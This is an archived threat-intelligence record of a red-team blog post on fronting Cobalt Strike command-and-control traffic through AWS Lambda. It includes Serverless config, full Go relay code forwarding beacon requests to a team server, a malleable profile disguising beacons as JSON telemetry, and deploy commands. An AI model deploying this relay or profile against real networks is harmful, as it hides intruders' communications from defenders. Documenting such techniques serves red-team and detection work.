{
	"id": "318a3d19-f048-441c-82fe-86d0f7fe1715",
	"created_at": "2026-04-06T03:36:30.198207Z",
	"updated_at": "2026-04-10T03:24:24.724921Z",
	"deleted_at": null,
	"sha1_hash": "4b69e3ec20c77c6cdd5f581a45477f17d5f0c195",
	"title": "AWS Lambda Redirector",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 297261,
	"plain_text": "AWS Lambda Redirector\r\nBy Adam Chester\r\nArchived: 2026-04-06 03:11:40 UTC\r\n« Back to home\r\nPosted on 25th February 2020\r\nA while back I posted a tweet showing AWS Lambda being used as a redirector for Cobalt Strike. At the time I\r\nplanned on blogging just how this was done, but recently while migrating this blog to a more suitable stack I\r\nfound the drafted post that was never finished. So I thought I’d dust it off, check that the theory still worked, and\r\nmake it available… better late than never!\r\nFor those who haven’t encountered AWS Lambda, this technology allows you to deploy event driven code to\r\nAWS. The deployed function will be invoked by a trigger, for example a file being uploaded to S3, an SMS\r\nmessage being received, or in our case, a HTTP request being received by a gateway. All of the underlying\r\ninfrastructure responsible for executing this code is abstracted away, meaning that we don’t have to deal with\r\nconfiguring an EC2 instance or rolling out Terraform scripts to get things to work. Lambda also supports\r\ndevelopment in a number of languages, from Python and NodeJS, to everyone’s favourite… GoLang, which is\r\nwhat we will be using today.\r\nTo make life a bit easier we will be leveraging the Serverless framework, which provides a nice environment for\r\ndeveloping and deploying our Serverless applications and is something that we’re a fan of at MDSec.\r\nServerless - AWS Lambda\r\nA number of resources have discussed AWS Lambda and we have seen just how useful this technology has been\r\nover the years. Having used this service for a while, one of its benefits is just how quick it is to spin up a new\r\nhttps://blog.xpnsec.com/aws-lambda-redirector/\r\nPage 1 of 12\n\nHTTP endpoint, with the added benefit of never having to see the underlying infrastructure or touch a HTTP\r\nserver configuration.\r\nTo demonstrate just how we can deploy an AWS Lambda function, let’s create a simple HTTP “hello world” API\r\nin Go using the Serverless framework:\r\nbrew install serverless\r\nserverless create -t aws-go\r\nmake\r\nsls deploy\r\nOnce executed, you will see something like this:\r\nProvided with our endpoint URL, we can make our HTTP request to ensure that our newly created Lambda\r\nfunction is responding as we expect:\r\nNow we can see just how easy it is to create a new Lambda function using the Serverless framework, let’s move\r\non to constructing a service which can front our C2 communication.\r\nServerless Proxy\r\nBefore we begin to proxy requests via AWS Lambda, there is a caveat that we need to consider and will affect our\r\nability to push our C2 traffic via the service. In the above “hello-world” example you may have seen the /dev/\r\npart of the path. In Lambda, this identifies the stage of deployment, such as dev, production, pre-prod etc. We can\r\nname this anything we want, but we cannot remove it, meaning that our Cobalt Strike malleable profile will need\r\nto consider this when making HTTP requests.\r\nhttps://blog.xpnsec.com/aws-lambda-redirector/\r\nPage 2 of 12\n\nSo just how will our infrastructure look once deployed. Well the 2 components we will be leveraging are AWS\r\nLambda, and AWS API Gateway, which will mean that our deployment would have the following structure:\r\nTo make this available, we will construct our serverless.yml to be as follows:\r\nservice: lambda-front\r\nframeworkVersion: \"\u003e=1.28.0 \u003c2.0.0\"\r\nprovider:\r\n name: aws\r\n runtime: go1.x\r\n stage: api\r\n region: eu-west-2\r\n environment:\r\n TEAMSERVER: ${opt:teamserver}\r\nhttps://blog.xpnsec.com/aws-lambda-redirector/\r\nPage 3 of 12\n\npackage:\r\n exclude:\r\n - ./**\r\n include:\r\n - ./bin/**\r\nfunctions:\r\n redirector:\r\n handler: bin/redirector\r\n events:\r\n - http:\r\n path: /{all+}\r\n method: any\r\nThere are a few things worthy of noting here. First is the HTTP path /{all+} . This allows our Go Lambda\r\nfunction to be called upon any URL being called on our HTTP endpoint. Also note the ${opt:teamserver} value\r\nfor our TEAMSERVER variable. This allows us to specify a value on the command line during deployment to make\r\nlife a bit easier.\r\nNow we have a way to bring up our infrastructure, let’s move onto some code.\r\nServerless Code\r\nLet’s begin by updating the “hello-world” template code to meet our requirements.\r\nTo proxy the request from beacon to our team server, we will take the following steps:\r\n1. Read the full HTTP request sent from beacon, including any POST body.\r\n2. Build a new HTTP request ensuring that the received HTTP headers, query string parameters, and POST\r\nbody (if included) received from the beacon are used.\r\n3. Forward the HTTP request to the team server and receive the response.\r\n4. Add the received HTTP headers and body (if included) to the API gateway response.\r\n5. Forward the response to beacon.\r\nOnce created, our code will look like this:\r\npackage main\r\nimport (\r\n\"crypto/tls\"\r\n\"encoding/base64\"\r\n\"io/ioutil\"\r\n\"log\"\r\nhttps://blog.xpnsec.com/aws-lambda-redirector/\r\nPage 4 of 12\n\n\"net/http\"\r\n\"net/url\"\r\n\"os\"\r\n\"strings\"\r\n\"github.com/aws/aws-lambda-go/events\"\r\n\"github.com/aws/aws-lambda-go/lambda\"\r\n)\r\ntype Response events.APIGatewayProxyResponse\r\nfunc Handler(request events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) {\r\nvar url *url.URL\r\nvar bodyDecoded []byte\r\nvar body []byte\r\nvar err error\r\nvar outboundHeaders map[string]string\r\nteamserver := os.Getenv(\"TEAMSERVER\")\r\nclient := http.Client{}\r\n// Set to allow invalid HTTPS certs on the back-end server\r\nhttp.DefaultTransport.(*http.Transport).TLSClientConfig = \u0026tls.Config{InsecureSkipVerify: true}\r\n// Build our request URL as received to pass onto CS\r\nurl, err = url.Parse(teamserver + \"/\" + request.RequestContext.Stage + request.Path)\r\n// Extract any provided query parameters\r\nif request.QueryStringParameters != nil {\r\nq := url.Query()\r\nfor key, value := range request.QueryStringParameters {\r\nhttps://blog.xpnsec.com/aws-lambda-redirector/\r\nPage 5 of 12\n\nq.Set(key, value)\r\n}\r\nurl.RawQuery = q.Encode()\r\n}\r\n// Handle potential base64 encoding of body\r\nif request.IsBase64Encoded {\r\nbodyDecoded, err = base64.StdEncoding.DecodeString(request.Body)\r\nif err != nil {\r\nlog.Fatalf(\"Error base64 decoding AWS request body: %v\", err)\r\n}\r\n} else {\r\nbodyDecoded = []byte(request.Body)\r\n}\r\n// Send the request to our Team Server\r\nreq, err := http.NewRequest(request.HTTPMethod, url.String(), strings.NewReader(string(bodyDecoded)))\r\nif err != nil {\r\nlog.Fatalf(\"Error forwarding request to TeamServer: %v\", err)\r\n}\r\n// Add our inbound headers to the request\r\nfor key, value := range request.Headers {\r\nreq.Header.Set(key, value)\r\n}\r\n// Forward the request to our TeamServer\r\nresp, err := client.Do(req)\r\nif err != nil {\r\nhttps://blog.xpnsec.com/aws-lambda-redirector/\r\nPage 6 of 12\n\nlog.Fatalf(\"Error forwarding request to TeamServer: %v\", err)\r\n}\r\n// Parse the TS response headers\r\noutboundHeaders = map[string]string{}\r\nfor key, value := range resp.Header {\r\noutboundHeaders[key] = value[0]\r\n}\r\n// Store the TS response body\r\nbody, err = ioutil.ReadAll(resp.Body)\r\nif err != nil {\r\nlog.Fatalf(\"Error receiving request from TeamServer\")\r\n}\r\n// Forward the response onto beacon\r\nreturn events.APIGatewayProxyResponse{StatusCode: resp.StatusCode, Body: string(body), Headers:\r\noutboundHeaders}, nil\r\n}\r\nfunc main() {\r\nlambda.Start(Handler)\r\n}\r\nOnce our code is compiled via make , we can then do a sls deploy to push our function to AWS.\r\nServerless Malleable Profile\r\nOnce we have our code deployed, we need to configure Cobalt Strike to work with our endpoint. Now we could of\r\ncourse have gone with something like External-C2, but given that we are dealing with a simple HTTP relay with\r\nonly a few minor tweaks required such as the stage path, we can just create a malleable profile to accommodate\r\nthis. Specifically, we need to ensure that both our http-get and http-post blocks contain a uri parameter\r\nbeginning with /[stage]/ .\r\nhttps://blog.xpnsec.com/aws-lambda-redirector/\r\nPage 7 of 12\n\nFor example, we could set our GET requests to be sent using:\r\nhttp-get {\r\n set uri \"/api/abc\";\r\n client {\r\n metadata {\r\n base64url;\r\n netbios;\r\n base64url;\r\n parameter \"auth\";\r\n }\r\n }\r\n ...\r\nA simple minimal malleable profile which will work with our sample Lambda code would look like this:\r\nhttp-config {\r\nset trust_x_forwarded_for \"true\";\r\n}\r\nhttp-get {\r\nset uri \"/api/fetch\";\r\nclient {\r\nmetadata {\r\nbase64url;\r\nnetbios;\r\nbase64url;\r\nparameter \"token\";\r\n}\r\n}\r\nserver {\r\nheader \"Content-Type\" \"application/json; charset=utf-8\";\r\nheader \"Cache-Control\" \"no-cache, no-store, max-age=0, must-revalidate\";\r\nhttps://blog.xpnsec.com/aws-lambda-redirector/\r\nPage 8 of 12\n\nheader \"Pragma\" \"no-cache\";\r\noutput {\r\nbase64;\r\nprepend \"{\\\"version\\\":\\\"2\\\",\\\"count\\\":\\\"1\\\",\\\"data\\\":\\\"\";\r\nappend \"\\\"}\";\r\nprint;\r\n}\r\n}\r\n}\r\nhttp-post {\r\nset uri \"/api/telemetry\";\r\nset verb \"POST\";\r\nclient {\r\nparameter \"action\" \"GetExtensibilityContext\";\r\nheader \"Content-Type\" \"application/json; charset=utf-8\";\r\nheader \"Pragma\" \"no-cache\";\r\nid {\r\nparameter \"token\";\r\n}\r\noutput {\r\nmask;\r\nbase64;\r\nprepend \"{\\\"version\\\":\\\"2\\\",\\\"report\\\":\\\"\";\r\nappend \"\\\"}\";\r\nprint;\r\nhttps://blog.xpnsec.com/aws-lambda-redirector/\r\nPage 9 of 12\n\n}\r\n}\r\nserver {\r\nheader \"api-supported-versions\" \"2\";\r\nheader \"Content-Type\" \"application/json; charset=utf-8\";\r\nheader \"Cache-Control\" \"no-cache, no-store, max-age=0, must-revalidate\";\r\nheader \"Pragma\" \"no-cache\";\r\nheader \"x-beserver\" \"XPN0LR10CA0006\";\r\noutput {\r\nbase64url;\r\nprepend \"{\\\"version\\\":\\\"2\\\",\\\"count\\\":\\\"1\\\",\\\"data\\\":\\\"\";\r\nappend \"\\\"}\";\r\nprint;\r\n}\r\n}\r\n}\r\nServerless in action\r\nOnce we have all of our components ready, we can test that everything works. For testing locally I normally use\r\nngrok which will let me expose a local web server which is perfect for providing our Lambda function with an\r\ninternal teamserver endpoint.\r\nTo spin up ngrok on MacOS, we just use:\r\nngrok http 443\r\nNote that ngrok rate limits for non-paying customers, so you’ll need to sleep 10 any sessions to avoid your\r\nendpoint from being blocked.\r\nOnce we have our ngrok host, we will deploy our Serverless configuration using:\r\nhttps://blog.xpnsec.com/aws-lambda-redirector/\r\nPage 10 of 12\n\nsls deploy --teamserver d27658bf.ngrok.io\r\nNow all that remains is to fire our your listener pointing to your Lambda URL:\r\nThrow in a few other Lambda URL’s if you wish, it appears that fronting via Lambda URLs works perfectly fine:\r\nhttps://blog.xpnsec.com/aws-lambda-redirector/\r\nPage 11 of 12\n\nAnd then when the listener is started and with a beacon executed, we will be greeted with a session flowing\r\nthrough Lambda:\r\nSource: https://blog.xpnsec.com/aws-lambda-redirector/\r\nhttps://blog.xpnsec.com/aws-lambda-redirector/\r\nPage 12 of 12",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://blog.xpnsec.com/aws-lambda-redirector/"
	],
	"report_names": [
		"aws-lambda-redirector"
	],
	"threat_actors": [
		{
			"id": "610a7295-3139-4f34-8cec-b3da40add480",
			"created_at": "2023-01-06T13:46:38.608142Z",
			"updated_at": "2026-04-10T02:00:03.03764Z",
			"deleted_at": null,
			"main_name": "Cobalt",
			"aliases": [
				"Cobalt Group",
				"Cobalt Gang",
				"GOLD KINGSWOOD",
				"COBALT SPIDER",
				"G0080",
				"Mule Libra"
			],
			"source_name": "MISPGALAXY:Cobalt",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775446590,
	"ts_updated_at": 1775791464,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/4b69e3ec20c77c6cdd5f581a45477f17d5f0c195.pdf",
		"text": "https://archive.orkl.eu/4b69e3ec20c77c6cdd5f581a45477f17d5f0c195.txt",
		"img": "https://archive.orkl.eu/4b69e3ec20c77c6cdd5f581a45477f17d5f0c195.jpg"
	}
}